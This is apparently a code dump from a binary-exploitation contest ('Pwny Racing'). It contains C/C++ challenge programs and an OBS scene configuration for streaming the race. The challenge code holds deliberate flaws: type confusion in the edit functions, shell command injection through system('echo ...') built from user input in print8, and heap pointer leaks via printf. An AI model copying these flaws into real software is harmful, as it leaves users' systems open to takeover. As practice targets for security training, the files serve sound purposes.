GetShape() __attribute__((noinline)) { return shape; } 75 | void SetShape(Shape* s) __attribute__((noinline)) { shape = s; } 76 | }; 77 | 78 | std::vector objects; 79 | 80 | void new_number() 81 | { 82 | printf("Number:\n"); 83 | fflush(stdout); 84 | char line[128]; 85 | if (!fgets(line, 127, stdin)) 86 | return; 87 | objects.push_back(new NumberObject(strtoll(line, NULL, 0))); 88 | } 89 | 90 | void new_word() 91 | { 92 | printf("Word:\n"); 93 | fflush(stdout); 94 | char line[128]; 95 | if (!fgets(line, 127, stdin)) 96 | return; 97 | if (line[0] == 0) 98 | return; 99 | line[strlen(line) - 1] = 0; 100 | objects.push_back(new WordObject(line)); 101 | } 102 | 103 | void new_shape() 104 | { 105 | printf("1) Square\n"); 106 | printf("2) Circle\n"); 107 | printf("3) Triangle\n"); 108 | fflush(stdout); 109 | char line[128]; 110 | if (!fgets(line, 127, stdin)) 111 | return; 112 | int choice = atoi(line); 113 | switch (choice) 114 | { 115 | case 1: 116 | objects.push_back(new ShapeObject(new Square())); 117 | break; 118 | case 2: 119 | objects.push_back(new ShapeObject(new Circle())); 120 | break; 121 | case 3: 122 | objects.push_back(new ShapeObject(new Triangle())); 123 | break; 124 | default: 125 | break; 126 | } 127 | } 128 | 129 | void new_object() 130 | { 131 | printf("1) Number\n"); 132 | printf("2) Word\n"); 133 | printf("3) Shape\n"); 134 | fflush(stdout); 135 | 136 | char line[128]; 137 | if (!fgets(line, 127, stdin)) 138 | return; 139 | int choice = atoi(line); 140 | 141 | switch (choice) 142 | { 143 | case 1: 144 | new_number(); 145 | break; 146 | case 2: 147 | new_word(); 148 | break; 149 | case 3: 150 | new_shape(); 151 | break; 152 | default: 153 | break; 154 | } 155 | } 156 | 157 | void list_objects() 158 | { 159 | for (size_t i = 0; i < objects.size(); i++) 160 | { 161 | printf("%d) ", (int)i); 162 | objects[i]->Print(); 163 | printf("\n"); 164 | } 165 | fflush(stdout); 166 | } 167 | 168 | void edit_number() 169 | { 170 | printf("Index:\n"); 171 | fflush(stdout); 172 | char line[128]; 173 | if (!fgets(line, 127, stdin)) 174 | return; 175 | int i = atoi(line); 176 | if ((i < 0) || (i >= (int)objects.size())) 177 | return; 178 | 179 | NumberObject* n = (NumberObject*)objects[i]; 180 | printf("Existing number: %lld\n", n->GetNumber()); 181 | printf("New number:\n"); 182 | fflush(stdout); 183 | if (!fgets(line, 127, stdin)) 184 | return; 185 | n->SetNumber(strtoll(line, NULL, 0)); 186 | } 187 | 188 | void edit_word() 189 | { 190 | printf("Index:\n"); 191 | fflush(stdout); 192 | char line[128]; 193 | if (!fgets(line, 127, stdin)) 194 | return; 195 | int i = atoi(line); 196 | if ((i < 0) || (i >= (int)objects.size())) 197 | return; 198 | 199 | WordObject* w = (WordObject*)objects[i]; 200 | printf("Existing word: %s\n", w->GetWord()); 201 | printf("New word:\n"); 202 | fflush(stdout); 203 | if (!fgets(line, 127, stdin)) 204 | return; 205 | if (line[0] == 0) 206 | return; 207 | line[strlen(line) - 1] = 0; 208 | if (strlen(line) == 0) 209 | return; 210 | w->SetWord(line); 211 | } 212 | 213 | void edit_shape() 214 | { 215 | printf("Index:\n"); 216 | fflush(stdout); 217 | char line[128]; 218 | if (!fgets(line, 127, stdin)) 219 | return; 220 | int i = atoi(line); 221 | if ((i < 0) || (i >= (int)objects.size())) 222 | return; 223 | 224 | ShapeObject* s = (ShapeObject*)objects[i]; 225 | printf("Existing shape: %s\n", s->GetShape()->Name()); 226 | printf("New shape:\n"); 227 | printf("1) Square\n"); 228 | printf("2) Circle\n"); 229 | printf("3) Triangle\n"); 230 | fflush(stdout); 231 | if (!fgets(line, 127, stdin)) 232 | return; 233 | int choice = atoi(line); 234 | switch (choice) 235 | { 236 | case 1: 237 | s->SetShape(new Square()); 238 | break; 239 | case 2: 240 | s->SetShape(new Circle()); 241 | break; 242 | case 3: 243 | s->SetShape(new Triangle()); 244 | break; 245 | default: 246 | break; 247 | } 248 | } 249 | 250 | int main() 251 | { 252 | while (true) 253 | { 254 | printf("1) New object\n"); 255 | printf("2) List objects\n"); 256 | printf("3) Edit number\n"); 257 | printf("4) Edit word\n"); 258 | printf("5) Edit shape\n"); 259 | fflush(stdout); 260 | 261 | char line[128]; 262 | if (!fgets(line, 127, stdin)) 263 | break; 264 | int choice = atoi(line); 265 | switch (choice) 266 | { 267 | case 1: 268 | new_object(); 269 | break; 270 | case 2: 271 | list_objects(); 272 | break; 273 | case 3: 274 | edit_number(); 275 | break; 276 | case 4: 277 | edit_word(); 278 | break; 279 | case 5: 280 | edit_shape(); 281 | break; 282 | default: 283 | break; 284 | } 285 | } 286 | return 0; 287 | } 288 | -------------------------------------------------------------------------------- /round2/multilingual/multilingual.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | 11 | #define true 1 12 | #define false 0 13 | char name[10]; 14 | 15 | struct language { 16 | char tag[3]; 17 | char greeting[20]; 18 | struct language* next; 19 | }; 20 | 21 | 22 | struct language* newlang(char tag[3], char greeting[20]) 23 | { 24 | struct language* next = (struct language*)malloc(sizeof(struct language)); 25 | strcpy(next->tag, tag); 26 | strcpy(next->greeting, greeting); 27 | next->next = NULL; 28 | return next; 29 | } 30 | 31 | 32 | void listlang(struct language* lang) 33 | { 34 | struct language* next; 35 | next = lang; 36 | puts("TAG\tGREETING"); 37 | while (next != NULL) 38 | { 39 | printf("%s\t%s\n", next->tag, next->greeting); 40 | next = next->next; 41 | } 42 | } 43 | 44 | 45 | void addlanguage(struct language* head) 46 | { 47 | struct language* next = (struct language*)malloc(sizeof(struct language)); 48 | struct language* current = head; 49 | printf("\nLanguage tag: \n-> "); 50 | fflush(stdout); 51 | scanf("%2s", next->tag); 52 | printf("\nGreeting: \n-> "); 53 | fflush(stdout); 54 | scanf("%19s", next->greeting); 55 | next->next = NULL; 56 | while (current->next != NULL) 57 | { 58 | if (strcmp(current->tag, next->tag) == 0) 59 | { 60 | puts("Sorry, this language already exists."); 61 | fflush(stdout); 62 | return; 63 | } 64 | current = current->next; 65 | } 66 | if (strcmp(current->tag, next->tag) == 0) 67 | { 68 | puts("Sorry, this language already exists."); 69 | return; 70 | } 71 | //does not yet exist, add it. 72 | current->next = next; 73 | printf("%x\n", current); 74 | printf("%x\n", current->next); 75 | printf("%x\n", next); 76 | fflush(stdout); 77 | } 78 | 79 | 80 | struct language* changelanguage(struct language* head, struct language* current) 81 | { 82 | char tag[3]; 83 | struct language* next = head; 84 | printf("\nLanguage tag: \n-> "); 85 | fflush(stdout); 86 | scanf("%2s", tag); 87 | while (strcmp(next->tag, tag) != 0) 88 | { 89 | if (next->next == NULL) 90 | { 91 | printf("Sorry, I could not find tag: \"%s\"", tag); 92 | return current; 93 | } 94 | else 95 | next = next->next; 96 | } 97 | return next; 98 | 99 | 100 | 101 | } 102 | 103 | 104 | void removelanguage(struct language* head, struct language* current) 105 | { 106 | 107 | 108 | } 109 | 110 | 111 | struct language* initlang() 112 | { 113 | struct language* head = NULL; 114 | struct language* current = NULL; 115 | struct language* next = NULL; 116 | head = (struct language*)malloc(sizeof(struct language)); 117 | strcpy(head->tag, "ar"); 118 | strcpy(head->greeting, "marhaba"); 119 | current = head; 120 | next = newlang("de", "guten tag"); 121 | current->next = next; 122 | current = next; 123 | next = newlang("es", "hola"); 124 | current->next = next; 125 | current = next; 126 | next = newlang("en", "hello"); 127 | current->next = next; 128 | current = next; 129 | next = newlang("fa", "salaam"); 130 | current->next = next; 131 | current = next; 132 | next = newlang("fr", "bonjour"); 133 | current->next = next; 134 | current = next; 135 | next = newlang("ha", "sannu"); 136 | current->next = next; 137 | current = next; 138 | next = newlang("hi", "namaste"); 139 | current->next = next; 140 | current = next; 141 | next = newlang("hu", "szia"); 142 | current->next = next; 143 | current = next; 144 | next = newlang("id", "halo"); 145 | current->next = next; 146 | current = next; 147 | next = newlang("it", "chao"); 148 | current->next = next; 149 | current = next; 150 | next = newlang("ja", "konnichiwa"); 151 | current->next = next; 152 | current = next; 153 | next = newlang("kk", "salemetsiz be"); 154 | current->next = next; 155 | current = next; 156 | next = newlang("ko", "ahn-young-ha-se-yo"); 157 | current->next = next; 158 | current = next; 159 | next = newlang("mn", "sain bainuu"); 160 | current->next = next; 161 | current = next; 162 | next = newlang("pt", "ola"); 163 | current->next = next; 164 | current = next; 165 | next = newlang("ru", "zdras-tvuy-te"); 166 | current->next = next; 167 | current = next; 168 | next = newlang("sw", "habari"); 169 | current->next = next; 170 | current = next; 171 | next = newlang("tr", "merhaba"); 172 | current->next = next; 173 | current = next; 174 | current->next = NULL; 175 | return head; 176 | } 177 | 178 | 179 | int ask(char* greeting) 180 | { 181 | puts("In what language would you like to be greeted?\n: "); 182 | fflush(stdout); 183 | fgets(greeting, 2, stdin); 184 | //Print language specific hello 185 | 186 | //printf("So you're in %s? That sounds great!", buffer); 187 | return true; 188 | } 189 | 190 | 191 | void print1(char* output) 192 | { 193 | printf("%s\n", output); 194 | } 195 | 196 | 197 | void print2(char* output) 198 | { 199 | puts(output); 200 | } 201 | 202 | 203 | void print3(char* output) 204 | { 205 | for (int i = 0; i < strlen(output); i++) 206 | { 207 | putchar(output[i]); 208 | } 209 | putchar(0x0a); 210 | } 211 | 212 | 213 | void print4(char* output) 214 | { 215 | char fname[L_tmpnam]; 216 | char cmd[L_tmpnam + 4] = "cat "; 217 | tmpnam(fname); 218 | strcat(cmd, fname); 219 | //FILE* tmp = tmpfile(); 220 | FILE* tmp = fopen(fname, "w+"); 221 | int i = 0; 222 | if (tmp == NULL) 223 | { 224 | return; 225 | } 226 | while (output[i] != '\0') 227 | { 228 | fputc(output[i], tmp); 229 | i++; 230 | } 231 | fputc(0xa, tmp); 232 | i++; 233 | rewind(tmp); 234 | fclose(tmp); 235 | system(cmd); 236 | unlink(fname); 237 | } 238 | 239 | 240 | void print5r(char* output) 241 | { 242 | if (*output == '\0') 243 | return; 244 | putchar(output[0]); 245 | print5r(++output); 246 | } 247 | 248 | 249 | void print5(char* output) 250 | { 251 | print5r(output); 252 | putchar(0x0a); 253 | } 254 | 255 | 256 | void print6(char* output) 257 | { 258 | char *ptr; 259 | ptr=output; 260 | while(*ptr!='\0') 261 | printf("%c",*ptr++); 262 | printf("\n"); 263 | } 264 | 265 | 266 | char* strrev(char *str) 267 | { 268 | char *p1, *p2; 269 | 270 | if (! str || ! *str) 271 | return str; 272 | for (p1 = str, p2 = str + strlen(str) - 1; p2 > p1; ++p1, --p2) 273 | { 274 | *p1 ^= *p2; 275 | *p2 ^= *p1; 276 | *p1 ^= *p2; 277 | } 278 | return str; 279 | } 280 | 281 | 282 | void print7(char* output) 283 | { 284 | char* buf = (int*)calloc(1, strlen(output) + 2); 285 | for (int i = 0; i < strlen(output); i++) 286 | { 287 | buf[strlen(output)-1-i] = output[i]; 288 | } 289 | buf[strlen(output) + 1] = '\0'; 290 | puts(strrev(buf)); 291 | } 292 | 293 | 294 | void print8(char* output) 295 | { 296 | char* cmd = (int*)calloc(1, strlen(output) + 8); 297 | strcpy(cmd, "echo \""); 298 | strcat(cmd, output); 299 | strcat(cmd, "\""); 300 | system(cmd); 301 | } 302 | 303 | 304 | void pick_print(struct language* lang) 305 | { 306 | if (name[0] == '\0') 307 | { 308 | puts("But I don't even know what to call you!"); 309 | return; 310 | } 311 | void (*pptr)(char*); 312 | void* ptrs[8] = { print1, print2, print3, print4, print5, print6, print7, print8 }; 313 | unsigned int count = (lang->tag[0] + lang->tag[1]) - 194; 314 | //printf("DEBUG: Calculated tag: %d\n", count); 315 | pptr = ptrs[(count % 52) / 7]; 316 | printf("%x\n", (count % 52) / 7); 317 | pptr(lang->greeting); 318 | pptr(name); 319 | } 320 | 321 | 322 | int main() 323 | { 324 | char* greeting; 325 | struct language* head = initlang(); 326 | struct language* current = head; 327 | int choice; 328 | 329 | while(1) 330 | { 331 | puts("\n -= Welcome to the multilingual pwnage server =-"); 332 | printf("Current language: %s", current->tag); 333 | printf("\n1) List Languages\n2) Add Language\n3) Remove Language\n4) Change Language\n5) Change Name\n6) Greetings!\n7) Exit\n\n-> "); 334 | fflush(stdout); 335 | scanf("%d", &choice); 336 | switch(choice) 337 | { 338 | case 1: 339 | listlang(head); 340 | break; 341 | case 2: 342 | addlanguage(head); 343 | break; 344 | case 3: 345 | removelanguage(head, current); 346 | break; 347 | case 4: 348 | current = changelanguage(head, current); 349 | break; 350 | case 5: 351 | printf("\nNew name: \n-> "); 352 | fflush(stdout); 353 | size_t n = read(0, name, 9); 354 | name[n] = 0; 355 | break; 356 | case 6: 357 | pick_print(current); 358 | break; 359 | case 7: 360 | exit(0); 361 | break; 362 | default: 363 | break; 364 | } 365 | } 366 | 367 | return 0; 368 | } 369 | -------------------------------------------------------------------------------- /pwny_racing_scenes: -------------------------------------------------------------------------------- 1 | { 2 | "AuxAudioDevice1": { 3 | "balance": 0.5, 4 | "deinterlace_field_order": 0, 5 | "deinterlace_mode": 0, 6 | "enabled": true, 7 | "flags": 0, 8 | "hotkeys": { 9 | "libobs.mute": [], 10 | "libobs.push-to-mute": [], 11 | "libobs.push-to-talk": [], 12 | "libobs.unmute": [] 13 | }, 14 | "id": "pulse_input_capture", 15 | "mixers": 255, 16 | "monitoring_type": 0, 17 | "muted": false, 18 | "name": "Mic/Aux", 19 | "prev_ver": 402653187, 20 | "private_settings": {}, 21 | "push-to-mute": false, 22 | "push-to-mute-delay": 0, 23 | "push-to-talk": false, 24 | "push-to-talk-delay": 0, 25 | "settings": { 26 | "device_id": "alsa_input.usb-Samson_Technologies_Samson_GoMic-00.analog-stereo.2" 27 | }, 28 | "sync": 0, 29 | "volume": 1.0 30 | }, 31 | "AuxAudioDevice2": { 32 | "balance": 0.5, 33 | "deinterlace_field_order": 0, 34 | "deinterlace_mode": 0, 35 | "enabled": true, 36 | "flags": 0, 37 | "hotkeys": { 38 | "libobs.mute": [], 39 | "libobs.push-to-mute": [], 40 | "libobs.push-to-talk": [], 41 | "libobs.unmute": [] 42 | }, 43 | "id": "pulse_input_capture", 44 | "mixers": 255, 45 | "monitoring_type": 0, 46 | "muted": false, 47 | "name": "Mic/Aux 2", 48 | "prev_ver": 402653187, 49 | "private_settings": {}, 50 | "push-to-mute": false, 51 | "push-to-mute-delay": 0, 52 | "push-to-talk": false, 53 | "push-to-talk-delay": 0, 54 | "settings": { 55 | "device_id": "alsa_input.usb-Samson_Technologies_Samson_GoMic-00.analog-stereo" 56 | }, 57 | "sync": 0, 58 | "volume": 1.0 59 | }, 60 | "DesktopAudioDevice1": { 61 | "balance": 0.5, 62 | "deinterlace_field_order": 0, 63 | "deinterlace_mode": 0, 64 | "enabled": true, 65 | "flags": 0, 66 | "hotkeys": { 67 | "libobs.mute": [], 68 | "libobs.push-to-mute": [], 69 | "libobs.push-to-talk": [], 70 | "libobs.unmute": [] 71 | }, 72 | "id": "pulse_output_capture", 73 | "mixers": 255, 74 | "monitoring_type": 0, 75 | "muted": false, 76 | "name": "Desktop Audio", 77 | "prev_ver": 402653187, 78 | "private_settings": {}, 79 | "push-to-mute": false, 80 | "push-to-mute-delay": 0, 81 | "push-to-talk": false, 82 | "push-to-talk-delay": 0, 83 | "settings": { 84 | "device_id": "default" 85 | }, 86 | "sync": 0, 87 | "volume": 1.0 88 | }, 89 | "current_program_scene": "Overview", 90 | "current_scene": "Overview", 91 | "current_transition": "Fade", 92 | "groups": [], 93 | "modules": { 94 | "auto-scene-switcher": { 95 | "active": false, 96 | "interval": 300, 97 | "non_matching_scene": "", 98 | "switch_if_not_matching": false, 99 | "switches": [] 100 | }, 101 | "output-timer": { 102 | "autoStartRecordTimer": false, 103 | "autoStartStreamTimer": false, 104 | "pauseRecordTimer": true, 105 | "recordTimerHours": 0, 106 | "recordTimerMinutes": 0, 107 | "recordTimerSeconds": 30, 108 | "streamTimerHours": 0, 109 | "streamTimerMinutes": 0, 110 | "streamTimerSeconds": 30 111 | }, 112 | "scripts-tool": [] 113 | }, 114 | "name": "Untitled", 115 | "preview_locked": false, 116 | "quick_transitions": [ 117 | { 118 | "duration": 300, 119 | "hotkeys": [], 120 | "id": 1, 121 | "name": "Cut" 122 | }, 123 | { 124 | "duration": 300, 125 | "hotkeys": [], 126 | "id": 2, 127 | "name": "Fade" 128 | } 129 | ], 130 | "saved_projectors": [], 131 | "scaling_enabled": false, 132 | "scaling_level": 0, 133 | "scaling_off_x": 0.0, 134 | "scaling_off_y": 0.0, 135 | "scene_order": [ 136 | { 137 | "name": "Overview" 138 | }, 139 | { 140 | "name": "Camera 1" 141 | }, 142 | { 143 | "name": "Camera 2" 144 | } 145 | ], 146 | "sources": [ 147 | { 148 | "balance": 0.5, 149 | "deinterlace_field_order": 0, 150 | "deinterlace_mode": 0, 151 | "enabled": true, 152 | "flags": 0, 153 | "hotkeys": { 154 | "OBSBasic.SelectScene": [], 155 | "libobs.hide_scene_item.Computer 2": [], 156 | "libobs.hide_scene_item.Name 2": [], 157 | "libobs.show_scene_item.Computer 2": [], 158 | "libobs.show_scene_item.Name 2": [] 159 | }, 160 | "id": "scene", 161 | "mixers": 0, 162 | "monitoring_type": 0, 163 | "muted": false, 164 | "name": "Camera 2", 165 | "prev_ver": 402653187, 166 | "private_settings": {}, 167 | "push-to-mute": false, 168 | "push-to-mute-delay": 0, 169 | "push-to-talk": false, 170 | "push-to-talk-delay": 0, 171 | "settings": { 172 | "custom_size": false, 173 | "id_counter": 2, 174 | "items": [ 175 | { 176 | "align": 5, 177 | "bounds": { 178 | "x": 1920.0, 179 | "y": 1080.0 180 | }, 181 | "bounds_align": 0, 182 | "bounds_type": 2, 183 | "crop_bottom": 0, 184 | "crop_left": 0, 185 | "crop_right": 0, 186 | "crop_top": 0, 187 | "group_item_backup": false, 188 | "id": 1, 189 | "locked": false, 190 | "name": "Computer 2", 191 | "pos": { 192 | "x": 0.0, 193 | "y": 0.0 194 | }, 195 | "private_settings": {}, 196 | "rot": 0.0, 197 | "scale": { 198 | "x": 1.0, 199 | "y": 1.0 200 | }, 201 | "scale_filter": "disable", 202 | "visible": true 203 | }, 204 | { 205 | "align": 5, 206 | "bounds": { 207 | "x": 0.0, 208 | "y": 0.0 209 | }, 210 | "bounds_align": 0, 211 | "bounds_type": 0, 212 | "crop_bottom": 0, 213 | "crop_left": 0, 214 | "crop_right": 0, 215 | "crop_top": 0, 216 | "group_item_backup": false, 217 | "id": 2, 218 | "locked": false, 219 | "name": "Name 2", 220 | "pos": { 221 | "x": 1657.0, 222 | "y": 1021.0 223 | }, 224 | "private_settings": {}, 225 | "rot": 0.0, 226 | "scale": { 227 | "x": 1.6858974695205688, 228 | "y": 1.6857142448425293 229 | }, 230 | "scale_filter": "disable", 231 | "visible": true 232 | } 233 | ] 234 | }, 235 | "sync": 0, 236 | "volume": 1.0 237 | }, 238 | { 239 | "balance": 0.5, 240 | "deinterlace_field_order": 0, 241 | "deinterlace_mode": 0, 242 | "enabled": true, 243 | "flags": 0, 244 | "hotkeys": { 245 | "OBSBasic.SelectScene": [], 246 | "libobs.hide_scene_item.Computer 1": [], 247 | "libobs.hide_scene_item.Name 1": [], 248 | "libobs.show_scene_item.Computer 1": [], 249 | "libobs.show_scene_item.Name 1": [] 250 | }, 251 | "id": "scene", 252 | "mixers": 0, 253 | "monitoring_type": 0, 254 | "muted": false, 255 | "name": "Camera 1", 256 | "prev_ver": 402653187, 257 | "private_settings": {}, 258 | "push-to-mute": false, 259 | "push-to-mute-delay": 0, 260 | "push-to-talk": false, 261 | "push-to-talk-delay": 0, 262 | "settings": { 263 | "custom_size": false, 264 | "id_counter": 2, 265 | "items": [ 266 | { 267 | "align": 5, 268 | "bounds": { 269 | "x": 1920.0, 270 | "y": 1080.0 271 | }, 272 | "bounds_align": 0, 273 | "bounds_type": 2, 274 | "crop_bottom": 0, 275 | "crop_left": 0, 276 | "crop_right": 0, 277 | "crop_top": 0, 278 | "group_item_backup": false, 279 | "id": 1, 280 | "locked": false, 281 | "name": "Computer 1", 282 | "pos": { 283 | "x": 0.0, 284 | "y": 0.0 285 | }, 286 | "private_settings": {}, 287 | "rot": 0.0, 288 | "scale": { 289 | "x": 1.0, 290 | "y": 1.0 291 | }, 292 | "scale_filter": "disable", 293 | "visible": true 294 | }, 295 | { 296 | "align": 5, 297 | "bounds": { 298 | "x": 0.0, 299 | "y": 0.0 300 | }, 301 | "bounds_align": 0, 302 | "bounds_type": 0, 303 | "crop_bottom": 0, 304 | "crop_left": 0, 305 | "crop_right": 0, 306 | "crop_top": 0, 307 | "group_item_backup": false, 308 | "id": 2, 309 | "locked": false, 310 | "name": "Name 1", 311 | "pos": { 312 | "x": 1658.0, 313 | "y": 1021.0 314 | }, 315 | "private_settings": {}, 316 | "rot": 0.0, 317 | "scale": { 318 | "x": 1.6794872283935547, 319 | "y": 1.6857142448425293 320 | }, 321 | "scale_filter": "disable", 322 | "visible": true 323 | } 324 | ] 325 | }, 326 | "sync": 0, 327 | "volume": 1.0 328 | }, 329 | { 330 | "balance": 0.5, 331 | "deinterlace_field_order": 0, 332 | "deinterlace_mode": 0, 333 | "enabled": true, 334 | "flags": 0, 335 | "hotkeys": {}, 336 | "id": "text_ft2_source", 337 | "mixers": 0, 338 | "monitoring_type": 0, 339 | "muted": false, 340 | "name": "Name 2", 341 | "prev_ver": 402653187, 342 | "private_settings": {}, 343 | "push-to-mute": false, 344 | "push-to-mute-delay": 0, 345 | "push-to-talk": false, 346 | "push-to-talk-delay": 0, 347 | "settings": { 348 | "custom_width": 0, 349 | "font": { 350 | "face": "Roboto", 351 | "flags": 1, 352 | "size": 32, 353 | "style": "Black" 354 | }, 355 | "outline": true, 356 | "text": "Test Name" 357 | }, 358 | "sync": 0, 359 | "volume": 1.0 360 | }, 361 | { 362 | "balance": 0.5, 363 | "deinterlace_field_order": 0, 364 | "deinterlace_mode": 0, 365 | "enabled": true, 366 | "flags": 0, 367 | "hotkeys": {}, 368 | "id": "text_ft2_source", 369 | "mixers": 0, 370 | "monitoring_type": 0, 371 | "muted": false, 372 | "name": "Name 1", 373 | "prev_ver": 402653187, 374 | "private_settings": {}, 375 | "push-to-mute": false, 376 | "push-to-mute-delay": 0, 377 | "push-to-talk": false, 378 | "push-to-talk-delay": 0, 379 | "settings": { 380 | "custom_width": 0, 381 | "font": { 382 | "face": "Roboto", 383 | "flags": 1, 384 | "size": 32, 385 | "style": "Black" 386 | }, 387 | "outline": true, 388 | "text": "Test Name" 389 | }, 390 | "sync": 0, 391 | "volume": 1.0 392 | }, 393 | { 394 | "balance": 0.5, 395 | "deinterlace_field_order": 0, 396 | "deinterlace_mode": 0, 397 | "enabled": true, 398 | "flags": 0, 399 | "hotkeys": { 400 | "MediaSource.Restart": [], 401 | "libobs.mute": [], 402 | "libobs.push-to-mute": [], 403 | "libobs.push-to-talk": [], 404 | "libobs.unmute": [] 405 | }, 406 | "id": "ffmpeg_source", 407 | "mixers": 255, 408 | "monitoring_type": 0, 409 | "muted": true, 410 | "name": "Computer 1", 411 | "prev_ver": 402653187, 412 | "private_settings": {}, 413 | "push-to-mute": false, 414 | "push-to-mute-delay": 0, 415 | "push-to-talk": false, 416 | "push-to-talk-delay": 0, 417 | "settings": { 418 | "clear_on_media_end": false, 419 | "input": "rtmp://172.17.0.2:1935/pls/test", 420 | "input_format": "", 421 | "is_local_file": false 422 | }, 423 | "sync": 0, 424 | "volume": 1.0 425 | }, 426 | { 427 | "balance": 0.5, 428 | "deinterlace_field_order": 0, 429 | "deinterlace_mode": 0, 430 | "enabled": true, 431 | "flags": 0, 432 | "hotkeys": { 433 | "OBSBasic.SelectScene": [], 434 | "libobs.hide_scene_item.Computer 1": [], 435 | "libobs.hide_scene_item.Computer 2": [], 436 | "libobs.hide_scene_item.Name 1": [], 437 | "libobs.hide_scene_item.Name 2": [], 438 | "libobs.show_scene_item.Computer 1": [], 439 | "libobs.show_scene_item.Computer 2": [], 440 | "libobs.show_scene_item.Name 1": [], 441 | "libobs.show_scene_item.Name 2": [] 442 | }, 443 | "id": "scene", 444 | "mixers": 0, 445 | "monitoring_type": 0, 446 | "muted": false, 447 | "name": "Overview", 448 | "prev_ver": 402653187, 449 | "private_settings": {}, 450 | "push-to-mute": false, 451 | "push-to-mute-delay": 0, 452 | "push-to-talk": false, 453 | "push-to-talk-delay": 0, 454 | "settings": { 455 | "custom_size": false, 456 | "id_counter": 8, 457 | "items": [ 458 | { 459 | "align": 5, 460 | "bounds": { 461 | "x": 0.0, 462 | "y": 0.0 463 | }, 464 | "bounds_align": 0, 465 | "bounds_type": 0, 466 | "crop_bottom": 0, 467 | "crop_left": 0, 468 | "crop_right": 0, 469 | "crop_top": 0, 470 | "group_item_backup": false, 471 | "id": 8, 472 | "locked": false, 473 | "name": "Name 2", 474 | "pos": { 475 | "x": 690.0, 476 | "y": 1023.0 477 | }, 478 | "private_settings": {}, 479 | "rot": 0.0, 480 | "scale": { 481 | "x": 1.6282051801681519, 482 | "y": 1.6285713911056519 483 | }, 484 | "scale_filter": "disable", 485 | "visible": true 486 | }, 487 | { 488 | "align": 5, 489 | "bounds": { 490 | "x": 969.0, 491 | "y": 545.0 492 | }, 493 | "bounds_align": 0, 494 | "bounds_type": 2, 495 | "crop_bottom": 0, 496 | "crop_left": 0, 497 | "crop_right": 0, 498 | "crop_top": 0, 499 | "group_item_backup": false, 500 | "id": 6, 501 | "locked": false, 502 | "name": "Computer 2", 503 | "pos": { 504 | "x": 0.0, 505 | "y": 0.0 506 | }, 507 | "private_settings": {}, 508 | "rot": 0.0, 509 | "scale": { 510 | "x": 1.0, 511 | "y": 1.0 512 | }, 513 | "scale_filter": "disable", 514 | "visible": true 515 | }, 516 | { 517 | "align": 5, 518 | "bounds": { 519 | "x": 0.0, 520 | "y": 0.0 521 | }, 522 | "bounds_align": 0, 523 | "bounds_type": 0, 524 | "crop_bottom": 0, 525 | "crop_left": 0, 526 | "crop_right": 0, 527 | "crop_top": 0, 528 | "group_item_backup": false, 529 | "id": 7, 530 | "locked": false, 531 | "name": "Name 1", 532 | "pos": { 533 | "x": 969.0, 534 | "y": 0.0 535 | }, 536 | "private_settings": {}, 537 | "rot": 0.0, 538 | "scale": { 539 | "x": 1.6282051801681519, 540 | "y": 1.6285713911056519 541 | }, 542 | "scale_filter": "disable", 543 | "visible": true 544 | }, 545 | { 546 | "align": 5, 547 | "bounds": { 548 | "x": 953.0, 549 | "y": 536.0 550 | }, 551 | "bounds_align": 0, 552 | "bounds_type": 2, 553 | "crop_bottom": 0, 554 | "crop_left": 0, 555 | "crop_right": 0, 556 | "crop_top": 0, 557 | "group_item_backup": false, 558 | "id": 5, 559 | "locked": false, 560 | "name": "Computer 1", 561 | "pos": { 562 | "x": 967.0, 563 | "y": 544.0 564 | }, 565 | "private_settings": {}, 566 | "rot": 0.0, 567 | "scale": { 568 | "x": 1.0, 569 | "y": 1.0 570 | }, 571 | "scale_filter": "disable", 572 | "visible": true 573 | } 574 | ] 575 | }, 576 | "sync": 0, 577 | "volume": 1.0 578 | }, 579 | { 580 | "balance": 0.5, 581 | "deinterlace_field_order": 0, 582 | "deinterlace_mode": 0, 583 | "enabled": true, 584 | "flags": 0, 585 | "hotkeys": { 586 | "MediaSource.Restart": [], 587 | "libobs.mute": [], 588 | "libobs.push-to-mute": [], 589 | "libobs.push-to-talk": [], 590 | "libobs.unmute": [] 591 | }, 592 | "id": "ffmpeg_source", 593 | "mixers": 255, 594 | "monitoring_type": 0, 595 | "muted": true, 596 | "name": "Computer 2", 597 | "prev_ver": 402653187, 598 | "private_settings": {}, 599 | "push-to-mute": false, 600 | "push-to-mute-delay": 0, 601 | "push-to-talk": false, 602 | "push-to-talk-delay": 0, 603 | "settings": { 604 | "clear_on_media_end": false, 605 | "input": "rtmp://172.17.0.2:1935/pls/test2", 606 | "input_format": "", 607 | "is_local_file": false 608 | }, 609 | "sync": 0, 610 | "volume": 1.0 611 | } 612 | ], 613 | "transition_duration": 300, 614 | "transitions": [] 615 | } --------------------------------------------------------------------------------